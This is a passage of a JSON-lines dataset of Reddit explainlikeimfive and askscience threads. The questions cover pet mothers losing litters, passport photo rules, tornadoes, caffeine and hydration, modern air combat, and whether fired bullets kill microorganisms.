had a nervous breakdown. The cat moved out of our house and in with people across the street. At that house the cat was very friendly and they were happy to feed and house her. On a daily basis this cat would come to our front yard, clawing at the cement walk and hissing at the house, real freaky. Several months later she got over it and moved back in with us. Cats can be weird.", "The farm cat we had didn't seem to mind or care. I guess  it probably gave up caring after its first 2 batches were fathered by males of the previous batch of kittens.", "I have a cat who was super close to his kitty sister. She got hit by a car, got into the house and hid before we could find her. I found her the next morning. My cat, Dave, even two years later, he goes into the basement corner where she passed away and yowls. It's the saddest thing ever. Even though he's very compassionate and snuggly (he hangs out with squirrels in the yard and grooms them for crap's sake) I fear he wouldn't accept another cat.", "Our dog was *relieved* to lose her puppies. One of the people who adopted wasn't able to keep the puppy because it got too big. We ended up adopting him and when mama dog saw her 125 pound baby I swear to god she rolled her eyes at me. \"Why did you bring this thing *back*?\"", "My buddies dog had a litter of 7 or 8 a number of years back. She dug a hole when it was about to rain and put them all in it and sat there watching it fill up. Luckily for the little guys and gals my buddy saw the little psycho and rescued them. They were all adopted to good homes and the mom couldn't be happier about it.", "Just had a litter of kittens this summer and... My mama cat howled for a few days after I gave 4 away so we decided to keep one.  His name is Butters and she is very protective of him and teaches him stuff.  Got her spayed immediately after she stopped nursing and in my opinion 8 weeks is too early to give babies away.  10-12 weeks is more appropriate. ", "When I was a kid, our cat had a litter of kittens, and when we gave them away, she wandered the house, yowling and seemed like maybe she was searching for them.  It was heart-breaking.  She did the same thing the next year, when she had another litter.\n\nBack then there just wasn't much awareness of the importance of spaying your cats.  ", "I work in an animal shelter where we frequently get animals transferred from other shelters. We regularly get dogs who have just gave birth or are nursing, sometimes with their puppies and sometimes without. In my experience, it depends on the dog. Some dogs I have seen lay in their kennel for days after they are separated from their pups, without doing anything. They will go on walks with volunteers and that's about it, won't eat or play. We had a dog named Sheba that suffered extreme depression after she was separated from her pups and we had her at the shelter for several months before she was adopted. She just didn't adjust to it well; our behavior team had to work with her a lot to get her to come back out of her shell. On the other hand, I have seen dogs not seem to care at all about being separated. The puppies usually don't mind, their puppies. I don't really have an answer for cats because I work with dogs.", "I don't think there is any science behind this, but I am a firm believer that all cats and dogs have different levels of intelligence. \n\n\nSome dogs seem to have different emotions or instincts than others. For instance one dog may not care if her puppies are gone. Another may become depressed.\n\n\nWith cats I have seen the same type of behavior. Some care, some don't. If you leave the kittens around long enough a mother cat stops caring completely. \n\n\nI had two dogs, got one in 1996 and the other in 2001. They did everything together. The oldest died in 2006. The younger one moped around depressed until she died until 2011 from cancer. She had her moments where she would be kind of playful, but they were extremely rare. We also got a kitten shortly before her demise. The kitten was upset after she was gone. They would sleep together and cuddle a lot until she passed. ", "Our dog, Lexi, was a rescue that was pregnant when found. She had 10 puppies, 3 of which died not long after birth. Lexi had also been abused and wouldn't really let anyone but the woman fostering her near the puppies or her. The foster mom said after 5 weeks, Lexi was just done mothering the puppies. They were eating on their own, wandering about, and making messes. Lexi had quit trying to mother them and just treated them like any other dog. \n\nAll except one of her puppies were adopted and the one that wasn't she just treated as a dog-friend rather than her pup. ", "With dogs there's a window where you want to take them away. it's not because of their mother, but because they'll all bond to each other and not care about humans as much. Littermate syndrome is also why it's a terrible idea to get two puppies at the same time: you want a puppy who bonds to you not to the random other puppy that you brought home. \n\nWhen puppies are being weaned onto solid food from their mom's milk, their mom stops being as attached to the litter. She may take a break and wander around the house or yard, and come back and feed the puppies and then wander off again. \n\nSome dams really like puppies and will play with them and encourage them to play with her, while others are like OMG just someone else deal with them please. \n\nPuppies should stay with their litter mates till they are about 8 weeks or so, as they learn bite inhibition from them. But by then their mom treats them like puppies and not like they're overly important. \n\nEvery puppy I've ever gotten, the mom was all, \"oh ok cya later\", when we left. The littermates were more interested in what was going on. ", "My cat Smokey Bacon had two adorable kittens after legging it out the house one day and coming back up the duff. I reluctantly rehomed the fluff balls and poor Smokey Bacon wandered round the house for weeks meowing \ud83d\ude29 \nEven after we call her the mummy cat because she loves Human babies and follows kids around with some sort of responsibility. She'd of made a fab mum "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "1dmbk1", "title": "what happened to all the businesses that were in the wtc pre-9/11 and who will occupy the new world trade center?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1dmbk1/eli5_what_happened_to_all_the_businesses_that/", "answers": {"a_id": ["c9ro10w", "c9rpqiv", "c9rra47"], "score": [15, 4, 5], "text": ["Any of the businesses in the WTC that were hit by 9/11 are still up and running. Any tenant of the WTC would not be some mom and pop shop who had their whole livelihood wiped out. All companies that size have extensive disaster recovery plans, off site data centers, business disruption plans that are communicated to all the employees, in some cases they would have a backup office space for key employees to go to for exactly that scenario. \n\nThen they would have to find a new office space, but 9/11 certainly did not put an end to any of the businesses who were tenants of the WTC. ", "There really is no connection between the old and new WTC tenants.\n\nThe old ones permanently relocated.  Some of them might chose to rent space in the new towers, but it isn't like they have been working out of someone's basement the last 11 years.", "After 9/11 lots of the businesses that had office space in the twin towers relocated to office parks in New Jersey, Long Island, and other suburbs.  One World Trade Center (a.k.a. The Freedom Tower) is expected to be mostly office space.\n\nOn a side note, lots of businesses that weren't in the WTC relocated after 9/11.  Office buildings were converted into condos and lots of people started moving into Downtown Manhattan.  Downtown is becoming as much of a residential neighborhood as an office/financial district.  Maybe someday people will live in the new WTC.     "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "an393y", "title": "why is it that we get tornados in the summer when a cold front moves in and combines with the hot air, but we don't get tornados in the winter when warm air moves in to combine with the cold air?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/an393y/eli5_why_is_it_that_we_get_tornados_in_the_summer/", "answers": {"a_id": ["efqgbc9"], "score": [16], "text": ["Basically, the difference is in the way the air masses move in the respective situations. Generally speaking, warm air rises, but with a warm front the warm air sort of rolls up and over the colder air and rises pretty gently, causing rain showers. With a cold front, however, the colder air mass moving in forces the warm air mass upwards much more rapidly, creating large updrafts and rapid cooling that lead to thunderstorms and possibly tornadoes.\n\n & #x200B;\n\n[Here's](_URL_0_) a short video (\\~4 minutes) explaining it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=tsD6zkBMmck"]]}
{"q_id": "3p3hny", "title": "why can't you smile in your passport photo?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3p3hny/eli5why_cant_you_smile_in_your_passport_photo/", "answers": {"a_id": ["cw2tiso", "cw2ty9n", "cw2w5mh", "cw2z6l1", "cw313g6", "cw31w53", "cw320bv", "cw320o7", "cw32ecj", "cw34hkh", "cw3aywf", "cw3bo4l", "cw3iirn", "cw3knxj", "cw3lxwq"], "score": [584, 68, 7, 26, 18, 5, 2, 2, 4, 2, 2, 4, 5, 3, 2], "text": ["Go to a mirror and smile normally. Now smile showing teeth. Now smile absurdly wide. Now smirk. Facial expressions can seriously change the general shape and outline of your features. The goal of a passport photo is to be as easily identified as possible... so removing all variables of expression gives you a clear baseline of what the person's face looks like.", "Apparently it messes up facial recognition software - from the [Canadian passport website](_URL_0_)\n\n > Why can't I smile in my passport photo?\n\n > The International Civil Aviation Organization recommends that passport photos be taken with a neutral expression for use with facial recognition systems - advanced technology that helps prevent fraud by electronically verifying identity based on each person's unique facial features.\n\nIt also apparently varies a little from country to country, with wide smiles that show full teeth and crinkle the eyes etc least desirable.  \n\nLooking at the US site, it doesn't actually ban smiling in its main instructions on the [website](_URL_1_):\n\n > Your passport photo must be:\n\n > In color\n\n > Printed on matte or glossy photo quality paper 2 x 2 inches (51 x 51 mm) in size\n\n > Sized such that the head is between 1 inch and 1 3/8 inches (between 25 and 35 mm) from the bottom of the chin to the top of the head. \n\n > Taken within the last 6 months to reflect your current appearance\n\n > Taken in front of a plain white or off-white background\n\n > Taken in full-face view directly facing the camera\n\n > Taken with a neutral facial expression (preferred) or a natural smile, and with both eyes open\n\nOn the otherhand they also say this in their longer question / answer section:\n\n > you must directly face the camera.  Profile shots will not be accepted. Your expression should be neutral with both eyes open and directly facing the camera. Photos with unusual expressions and squinting will not be accepted\n", "I smiled in mine (US) and I have priority but I've NEVER had it work anywhere I always have to wait after the facial reco fails.", "I smiled in mine. Never had an issue with face recognition. The only problem was in my photo I had longer hair, and now I wear it buzzed. Agents are sometimes skeptical. ", "You can totally [smile in a US passport photo](_URL_0_) (I cover for my elderly grandfather from time to time at his passport photo business). ", "I worked as a photo tech and took passport photos every day for six months. You technically CAN smile in your photo. You just have to make sure you keep your eyes from squinting. If they squint naturally when you smile it'll be rejected; But no one looks 'normal' smiling with their eyes forcibly widened. It makes people look like serial killers. That's why a neutral-content face is the best option. I mean a little smile wouldn't hurt, just don't crunch up your face to cause smile-wrinkles or alter your eye size/shape. For most people this is impossible and unfair if other people pull this off but they can't. That's why I would always recommend not smiling. It just made things a lot easier. It's all up to the customer's preference though.", "I smiled in my passport photo, never had any issues?", "facial recognition algorithms, plus you most likely will not be smiling when showing your passport at security check points", "Government employee here (VA). I just had to get a new badge. We were also told not to smile. On the plus side, I was told that badge will get us through airport TSA. Can't wait to try it out on those asshates!  ", "When was the last time you smiled in an airport?", "The purpose of a passport photo is to identify your face.  Most people aren't going around smiling all the time, and there is a wide variety of smiles.  A neutral expression is much more illustrative of what you look like.", "At least in the US and much of Europe, passports are biometric - which is to say that a computer should be able to recognize your face. For this to work optimally, the photo needs to meet certain guidelines (size and position of face, lack of sunglasses, generic expression, etc). ", "It has a lot to do with facial recognition. A neutral face is what you express most of the time and the metrics used by computers work really well with neutral. There's been advances in measuring the difference between a smiling face and a neutral face (eyebrows, corners of the mouth, etc) but there's no universal constant that works for everyone (yet).", "Computer programs used to compare facial images work best matching unsmiling faces with no teeth showing. The programs analyze the images to check that the same face hasn't been issued a passport under different info previously.", "I knew this was a rule!! However, I've seen a few passport photos where the person is smiling in their photo. Why does it seem like this rule is only applied sometimes?! Is this a rule that is supposed to be strictly enforced? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.cic.gc.ca/english/passport/apply/photos.asp", "http://travel.state.gov/content/passports/en/passports/photos/photos.html"], [], [], ["http://travel.state.gov/content/passports/en/passports/photos/photos.html"], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "xhirl", "title": "Viruses transmitted between persons of different blood groups less likely to infect", "selftext": "Hello all,\n\nI am taking an organic chemistry course, and the section on carbohydrates talked briefly about how different blood types have different saccharides attached to the cells. It then went on to say that \"Some scientists speculate that the presence of different blood groups (and associated antibodies) may play a role in inhibiting viral infection.\" \nThe theory is that viruses transmitted between persons with different blood types have a greater likelihood of being recognized as 'foreign' and being attacked by the immune system of the receiver. \nI looked for more information concerning this on the internet but didn't come across any.\nDo you guys have any sources on this? Any knowledge on whether or not this is true, or if some research has been going on concerning this?\n\nThank you for all your help ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/xhirl/viruses_transmitted_between_persons_of_different/", "answers": {"a_id": ["c5mhir0", "c5mq2jv"], "score": [2, 2], "text": ["This would make sense for viruses that encapsulate themselves with the infected hosts membrane (e.g. retroviruses like HIV). This allows viruses to escape from the immune system and prevent antibodies from detecting it as it is hidden by the hosts own membrane.\n\nIf the protein/saccharides found attached to this membrane is not found in the recipients cells then it has a greater chance as being detected as a foreign object and therefore an immune response. ", "This is pretty speculative, I'd say - I'd be interested to know where it came from. Antibodies tend to be highly specific, and so the anti-blood-saccharide antibodies that give you your blood type recognise only the specific formation of their target saccharide (the antibodies' target is known as the antigen). To be attacked by these particular antibodies the virus would need to look incredibly similar to their antigens, and on top of that it would need to be one of the virus types that travel outside the cells as they move from one to the other (many don't), so even if this is something that happens I'd have thought it would only affect a small selection of viruses, even allowing for the fact that there are hundreds of blood group molecules.\n\nOne very interesting question is how these antibodies are generated in the first place. Generally, you only produce an immune response to something your immune system has 'seen', so how can someone with blood group O (who doesn't have either of the main two saccharides in their blood but has antibodies against both A and B) produce antibodies against those molecules? One theory is that some (one?) of the species of bacteria in our gut may have antigens that strongly resemble the blood saccharides... could there be an answer there?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1wb3cg", "title": "how much credibility does the saying 'early to bed, early to rise will make a man strong, healthy, and wise' actually have? is going to bed and waking up earlier actually good for you?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1wb3cg/eli5how_much_credibility_does_the_saying_early_to/", "answers": {"a_id": ["cf0b5pn", "cf0bd76", "cf0bk2d", "cf0c724", "cf0e7pv", "cf0gztq", "cf0i0u6", "cf0j0fe", "cf0lyj7", "cf0o7ib"], "score": [57, 18, 8, 11, 13, 3, 2, 10, 2, 8], "text": ["Anecdotal evidence:  I go to bed early (around 8 during the week) and wake up early (4). After doing this for a few days in a row I'll feel much better. That being said I think this has nothing to do with when I sleep but rather the extra 3 hours I have in the morning to do as I wish before having to leave for work. Ie, eat and cook an actual breakfast (compared to my usual breakfast of nothing), relaxing and generally \"waking up\" before heading out to work.", "-More closely matches primal sleep patterns\n-Used as a work ethic to spark ambition (there were far fewer lazy asses in the old days)\n-Nothing good ever really happens at 2AM", "My credo is a bit different: early to rise and early to bed makes a man healthy but socially dead.", "Waking up early is psychologically beneficial because you get more sunlight time, and going to bed early just ensures that you're not groggy that morning. Even if you prefer darkness and/or isolation, sunlight is usually essential for sanity, however, constant sunlight throughout both days and nights isn't good for you either. Just [check out the suicide rates of Greenland](_URL_0_) (highest in the world). \n\n > According to a report published in the Science Daily in 2009, the suicide rate in Greenland increases during the summer. Researchers have blamed insomnia caused by incessant daylight.\n\nBut in most countries, it's pretty dark around 8:00-12:00pm, so that's not something most of us need to worry about as long as you're getting at the *very least* 6 hours of sleep. I'd recommend 7-8 depending on your needs.", "I think it is just the concept of not staying up late partying, etc, but being a responsible person who goes to bed early, gets up on time, and takes care of their business.\n\nThe best schedule I ever worked was from 1pm - 10pm.  I never had to set an alarm, woke up refreshed, and felt good.  Now that I have a \"real\" job I'm up at 6:30am 5 days a week for the past 13 or so years and still hate it.", "Studies show that one of the most important thing are a regular sleep pattern, and in many cases thats more important than the number of hours you sleep. Furthermore the most important hours to sleep is from 10 pm to 2 am.", "Going to bed early makes you skip out on many unhealthy habits, even eating late after your work for the day is far past done. \n\nWaking up early allows you more free time for study or leisure. \n\nSo, you get more health, more intelligence and by default, your body is stronger. \n\nIt's a proverb, so take it as such. But it can be held to some truth when examined.", "Sorry, I just can't not say this: It's \"...Healthy, Wealthy, and Wise\" not strong, healthy, and wise.", "Yeah, before electricity people tended to align their schedules with the sun. ", "The saying comes from old farmers.\n\nIt means you get more work.\n\nBecause remember some of them were raised in a time when lots of people didn't have electricity. You had to get up early to make the best use of the sun."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://en.wikipedia.org/wiki/Suicide_in_Greenland"], [], [], [], [], [], []]}
{"q_id": "2gufi7", "title": "How much coffee would I need to add to a cup of water for it to have no net hydration?", "selftext": "So, caffeine is a mild diuretic. If I have one teaspoon of instant coffee in a 250mL cup of water, I still get a net hydration. How many spoons of coffee would need to be in that same cup of water for it to have a proper dehydrating effect?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2gufi7/how_much_coffee_would_i_need_to_add_to_a_cup_of/", "answers": {"a_id": ["ckmnaa8"], "score": [79], "text": ["You would probably have to measure that level in your own body. It wouldn't be the same between different people or in the same person on different days. \n\nHowever, the [dehydrating effects of caffeinated drinks](_URL_1_) appears to be exaggerated in popular culture.  \n\nOne of the google hits was a scientific publication: \n > Researchers at the University of Birmingham in the U.K. studied the fluid levels of 50 men who had a habit of consuming about three to six cups of coffee each day.\n\n > With this kind of moderate coffee consumption, the authors conclude that [\"coffee ... provides similar hydrating qualities to water.\"](_URL_0_)\n\nSix cups a day is moderate, apparently. I'm curious how much coffee would be considered 'excessive'"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.plosone.org/article/info%3Adoi%2F10.1371%2Fjournal.pone.0084154", "https://www.google.com/search?q=does+coffee+cause+dehydration"]]}
{"q_id": "9k87ns", "title": "why electrons do not interact/get affected with strong force?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9k87ns/eli5_why_electrons_do_not_interactget_affected/", "answers": {"a_id": ["e6x50d7", "e6x850u", "e6xr49v"], "score": [2, 16, 2], "text": ["Simply they don't have colour charge which means they don't affect and are not affected by the strong force", "The four elementary forces can each only interact with particles that have particular properties. The gravitational force works on objects that have mass (it should work on individual particles with mass but we mostly see it on big objects because the force isn't that strong). The electomagnetic force works on anything with an electric charge. The strong nuclear force works on anything with a \"color charge\". Finally, the weak nuclear force works on anything with a \"weak isospin\".\n\nElectrons have mass, charge, and weak isospin, but no color charge. Thus they will be affected by the gravitational, electromagnetic, and weak nuclear forces, but not the strong nuclear force. In the same vein, neutrons have no charge, so they won't be affected by the electromagnetic force.\n\nSo far the only particles with color charge we know of are quarks, and they are classified as \"red\", \"blue\", and \"green\" just like electric charges can be positive or negative. There's also \"anti-red\", \"anti-blue\", and \"anti-green\" for antiparticles. Just like positive and negative charges attract each other, color charges like to be neutral, either sticking together a color and it's anti-color for two particle systems, or all three colors together in three particle systems. ", "Each fundamental force has a property it interacts with.\n\nGravity has Mass\n\nElectromagnetism has \"electrical charge\"\n\nStrong Nuclear force has \"color charge\"\n\nWeak Nuclear Force has \"flavor charge\"\n\nElectrons don't have color charge."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "28afen", "title": "what does contemporary military jet fighting look like?", "selftext": "I like playing games like War Thunder, where you fight with ww2 air planes against other players. It's all very close quarters, since the only weapon you have is basically a machine gun/cannon. \n\nWhat does 21st century dog fighting look like? With missiles that can lock onto targets from 30-40 kilometres away. \n\nI am also watching documentaries on the 5th gen fighters, specifically US and Russian, and they talk about manoeuvrability. Why is it important, if you never even come close to your enemy? Wouldn't some countermeasure and more missiles be better? \n\nBonus question I've wondered about - how would an old aircraft perform in today's jet fights? If you have access to current weapons, but are on, say, a mig-21, could you still not do well? \n\nThanks! ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/28afen/eli5_what_does_contemporary_military_jet_fighting/", "answers": {"a_id": ["ci8z6jw", "ci8zah1", "ci8zcp4", "ci8zmm4", "ci900pr", "ci97f0c", "ci9dvao", "ci9nm89"], "score": [13, 6, 2, 2, 17, 8, 2, 2], "text": ["[Simulation games seem fairly close to the real thing.](_URL_0_)", "You almost never see dogfights; it's much more akin to standoffs on old battleships. You line up your fighter groups, advance towards the enemy fighters, lock on your missiles before you can even see the enemy, then fire. Then you turn around, avoid the missiles they've sent your way (using things like ECM, flak, or just evading, which is where maneuverability comes in), and hope you shot them down. Maybe a few more missiles get fired, if some survived, but it's a fast paced, very nerve wracking experience for all involved. \n\nOf course, we never hear about things like this happening, and I'm just recounting some of the military theory that I've heard. Usually, you'll just send up to planes to 'escort' the one plane that 'accidentally' flew into your airspace back to where they should be.\n\nAn old aircraft would be shot down before it ever got close enough to see the enemy fighters, which can fly higher, faster, out of sight. If you have current weapons, you would be able to get a shot off since you have the range, and might get a luck kill, but you'd probably be best off bailing out as soon as you shot your missile.", "There is still an element of engagement. Think of the dogfights you know, now just strench the typical length of engagement out a bunch. \n\nNow think of this, you've managed to expend all of you missiles, but you still have your autocannon. Hmmm? Typical dogfight to ensue?", "Check out the documentary 'Speed and Angels.' I dont know how relevant is is today (was made in 2008) but they do seem to still teach 'classic' dogfighting. [Link](_URL_0_)", "It mostly involves a lot of talking.\n\nThe problem with locking on to enemies 30-40km away is that you can't see them. Therefore you have to be absolutely sure that whatever you're shooting at is really the enemy. This is especially true in modern guerilla/assymetrical/highly mobile war - if you are never sure where the enemy is, and your own forces are all over the place, and you preferably want to avoid killing civilians as well, you will lose a lot of time on confirming targets. This can actually take so long that, especially if the planes you're targeting are closing in, by the time you're allowed to fire most of the range advantage is gone.\n\nAnd if both you and the enemy miss/evade the initial strike, then you're pretty much on top of each other already.\n\nDogfighting can and certainly does happen, even in modern air combat. For example during the Persian Gulf war the term \"furball\" was coined - which describes a dogfight involving multiple friendly and enemy planes.\n\nThere are other advantages to high maneouverability as well, such as better ability to evade missiles. Finally, though here I enter the territory of pure speculation, I assume that maneouverability is actually quite cheap to achieve. For most modern planes it is done almost entirely with thrust vectoring engines which, considering the overall price of the plane, are a relatively minor investment.", " >  What does 21st century dog fighting look like? With missiles that can lock onto targets from 30-40 kilometres away. \n\nIt doesn't. Pop quiz: when was the last time an American pilot shot down an enemy plane? [1991.](_URL_0_) The last pilot to shoot down an enemy plane? He's a General now. That's how far away we are from any air force from challenging ours.\n\nThe US hasn't lost a fighter to air-to-air combat since Vietnam.", "Modern weapons are systems not aircraft alone. The aircraft is just one group of nodes. AWACS, satellites, drones, tanks and ships are integrated to develop information about threats. Threats are often over the horizon. \n\nAircraft provide attack capabilities for high value targets. They also build an umbrella for slower informational and support type forces to operate in. The shadow of their support starts about 100km from the aircraft and closes into \"white of the eye\" range. \n\nAs to your specific question, \"what would happen to a mig-21?\". It is questionable anyone would bother with it. It couldn't engage anything. Most elements have automatic closing weapons systems that would neutralize its offensive capabilities at a great distance. It would be treated like a civilian aircraft, and most probably would be. If it did stray into dangerous locations and refused to follow guidance some kid in Denver would use an Xbox controller tied to a Reaper to take it out from about 20kms away. There would be 500 or so drones active in the theatre. An F-35 would not be deployed to take it out. Why?\n\nA bit of guesswork here, but I don't think anyone is exactly telling this. I did work in the Command and Control division for a while with Raytheon - not this field. We had the opposite job.", " >  Bonus question I've wondered about - how would an old aircraft perform in today's jet fights? If you have access to current weapons, but are on, say, a mig-21, could you still not do well?\n\n5th gen fighters, like the F-22, are able to dismantle modern 4th gen fighters like the F-15C in a way that's not even funny. Something like a mig-21 wouldn't stand a chance..Because weapons are only part of the picture.\n\nLets have, for the fun.. have theoretical scenario 4xMig-21 vs 4xF-22, bot armed with modern short-range IR missiles, like the Aim-9X. And lets have them head-on 40miles apart. They are alone, without any AWACS/ground radar support. So lets begin. :)\n\nTo be able to attack you have to find your enemy first, this is when radar comes into play. The mig-21 has a very old, very weak radar, that is able to detect targets only (as I remember) up to 10km, and can operate only for a short period of time before overheating...Finding a stealth plane 40miles away is just not possible. On the other hand, the F-22 has the state of the art latest radar technology and can easily detect the migs at 40miles.\n\nNow, for some time jet fighters are equipped with something called Radar warning receiver (or RWR for short). This is a bunch of antennas on the airplane able to detect illumination by radar and then informing the pilot \"be carefull, a radar is looking at you\". The problem is that the radar in F-22 is a low propability intercept radar. That means it is constatly changing it characteristic (power, freqeuency, repetition rate..etc) and for the old system mounted on the mig-21 it is undisguisable from background noise.\n\nThe F-22 knows where the target is, the migs doesn't even know something is there. If the F-22 would have long-range missiles the fight would be over at this point. But as they only have short-range they have to close in...\nModern systems help at this stage too. First, thanks to datalink the F-22 can share target information. So only one plane has to have its radar on, this plane can stay behind while the rest of the flight approaches the enemy...silently.\n\nAnd thanks to displays in the cockpit the pilot have a birds-eye view of the situation, helping their situational awareness. They can exploit the low cockpit visibilty of the mig-21 and approach from it's blind spot...making it difficult for the migs to spot them even visually...They can also approach in such way that even if they did spot them, the F-22 would have virtualy unbeatable positional advatange.\nAll that is left is use the datalink info to point the IR missile at the targets and shoot. \n\nBonus: At one point I said the fight would be over the F-22 would have long-range radar missiles. That's because those missiles are as scary, as the fighter itself. Even though they are radar based, they don't use radar (thus you don't know they are on its way) most of the flight. They fly a preprogrammed path, with target data being fed to them via datalink, and only when they are close to the enemy (where the fighter basicaly has no chance of escape) they turn their radar on to guide to the target itself. Few F-22 are able to beat a bunch of F-15C at long ranges (beyond visual range combat) without the F-15C even knowing what hit them."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=I_3hr3FBWrg"], [], [], ["http://www.hulu.com/watch/49206"], [], ["http://www.tomdispatch.com/post/175368/"], [], []]}
{"q_id": "1qzhu7", "title": "When a bullet is fired, do the microorganisms in its trajectory path get destroyed/ killed?", "selftext": "A just-fired bullet is very hot, but can it harm the microorganisms in its trajectory path, or even a little outside it? Is it theoretically possible? \nEDIT: I'm sorry, I am not quite sure about how to categorize this. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1qzhu7/when_a_bullet_is_fired_do_the_microorganisms_in/", "answers": {"a_id": ["cdi4w47", "cdi4wur", "cdi4zpe", "cdi5772", "cdi5u7o", "cdi8mks", "cdi9p7l", "cdiawrp", "cdiftr2", "cdiiycv", "cdis4p9", "cdisi7f"], "score": [13, 39, 1429, 151, 49, 6, 420, 28, 2, 6, 2, 3], "text": ["I cannot locate any published sources regarding microorganisms in the bullet's trajectory but regarding microorganisms present on the bullet itself can be found [here](_URL_0_).\n\nIt only looks at one specific type of microorganism as well as only low-velocity bullets (unsure how they differ as not a gun person myself).  So, other microorganisms may be impacted differently.", "Many information would be needed : First  what is the pressure around the bullet trajectory : since the bullet is travelling at high speed, there is a high pressure in from of it and low pressure behing it. Something like [this](_URL_0_) :\n\nSecond, we would need to know the pressure needed to \"break\" the microorganism : depending on the microorganism, they all have their own characteristic and they don't react to pressure differently, since they are airborne, I think we COULD assume they all \"break\" at the same pressure.  (I would need to confirm this from a biologist, since airborne microorganisms could be fungus, bacteria or Viral)\n\nThird, it would depend on the bullet you fire and it's velocity.\n\nIt is more a question to ask a biologist then a phycisit, the phycisist in me ask the bioligist this one :\n\n\"what would happen if a microorganism would be put in a pressure gradient\"", "the sonic boom created by a bullet is a strong enough shock wave to kill bacteria.\n\n_URL_0_", "You can transform yeast via microprojectile bombardment.\n_URL_0_\nBasically, it's a shotgun blast with DNA coated tungsten or gold nanoparticles impacting a paste of yeast cells spread out on an agar containg petri plate.  There's a massive kill zone at the center of the plate where the particles hit, with survivors who receive DNA being away from the center of the blast.  So, at least in that circumstance it's pretty easy to kill a lot of microogranisms with a \"bullet\".  Might not be exactly relevant to the question, but interesting all the same.", "Former ballistic technician at one of the worlds leading labs here. There are too many variables to be calculated without running a serious simulation. \n\n1. Millions of organisms and their individual traits to consider. \n\n2.The projectile speed and design. A superheated area of gases exist around most projectiles in flight, as well as a very strong shockwave coming from the leading edge of the projectile. Possibly keeping anything from coming in contact with it. \n\n3. Centrifugal force. All bullets spin violently for stabilization in flight. It would take a lot for new airborne organisms to overcome the centrifugal force AFTER penetrating and surviving the shockwave. I would ponder the slower the bullets velocity the better the chances are of it happening. A musket ball out of a muzzleloader traveling 450-850fps? Probably. Anything else traveling faster? Doubtful. An exception may be shotgun loads. Lots of spaces to hide, tons more surface area, and relatively slow speeds in the ballistics world. Edit: words.", "Your question is akin to 'Do human bullets kill people'. The answer is yes, but not always.. it depends. My educated guess would be that larger organisms will break apart from the shock. But smaller bacteria will probably be rather untouched: the bullet will go too fast to properly transmit any heat and their small bodies will have relatively little mechanic stress.\n\nIt may surprise you, but guns are actually used in genetic engineering. [Have a look here for a 'Gene gun'.](_URL_0_) If my memory serves me correctly, a large percentage of organisms die during the bombardment, approximately 50~70%. And of the surviving cells only a small percentage have the 'new' gene, approximately 0.1%. But this usually is more than enough.\n\nedit: If you down vote me it would be nice to know why. I'd like not to make the same mistake twice. Thanks!", "Army orthopaedic surgeon here.  This is a very good question, and one I get asked all the time.\n\nShort answer: no.  Bacteria on the end of a bullet is still infectious in a wound.  You'd think that because it's going fast enough and it gets hot enough that bullets are sterile.  This has been proven time and time again to be false.  \n\nCOL Louis A. LaGarde in 1903 performed a study where he took .30 calibre rifle bullets (rifle = high velocity, supersonic), dipped them in anthrax and shot cows.  The cows lived and contracted Anthrax.\n\nI've taken countless numbers of bullets and fragments out of bodies and as a rule, each of them are treated as if they are infected.  The treatment is different for low velocity versus high velocity, but the principle remains = they are all treated as dirty wounds.\n\nLong story short - bullets aren't sterile.\n\n_URL_0_", "If we are talking about the temperature of the bullet being the mechanism for microbial inactivation then we are talking about a process similar to pasteurization. \n\nThe answer is definitely yes. The heat generated from a bullet being fired will kill microorganisms. This isn't a terribly interesting question from a microbiology standpoint, it is easy to kill some microorganisms.\n\nThe real question you want to ask is how many you are killing. That fact of the matter is that even killing 90% of microorganisms in the trajectory of a bullet isn't terribly effective, due to the rate at which microorganisms can multiply. \n\nWhen you talk about inactivating microorganisms, it is measured in terms of logarithmic reduction - 90% =1 log vs. 99.9% = 3 log vs. 99.9999% = 5 log; etc. \n\nThe other concept to keep in mind when we are talking about heat is that any temperature over ~ 50C can kill microorganisms, the question becomes *how long are they exposed to it.* \n\nGoing back to [pasteurization](_URL_2_) - this was designed to be a 5 log reduction of viable microorganisms in milk. There are different mechanisms, but they basically balance time of exposure and temperature. The lower the temperature, the longer the product needs to be exposed to it, and vice versa. The most common type, [UHT](_URL_0_) utilizes 135C for about 1-2 seconds. \n\nI looked around some to try and find the temperature of fired bullets and landed on what amounts to an [advertisement for thermal camera.](_URL_1_). The image they had showed temperatures ranging from 170C to  > 500C at different points on bullet. To determine what extent organisms are destroyed you need to know the organism, the temperature and how long it is exposed to it. \n\nIf I had to guess for the length of time a bullet is in the air, 170C may not achieve 5 log reductions whereas the 500C probably would, at least. This doesn't take into account the bullet cooling along its trajectory. ", "this can only be answered properly by experimentation. because it depends on the type of microorganism (virus, bacteiria, amoeba?), and where in the bullet trajectory the organism finds itself.\n\n... but, it's going to end up being some proportion killed, damaged, and unharmed based on proximity to the muzzle, characteristics of the gun and bullet that might heat it up; many factors that will determine whether an individual microbe would survive or not.  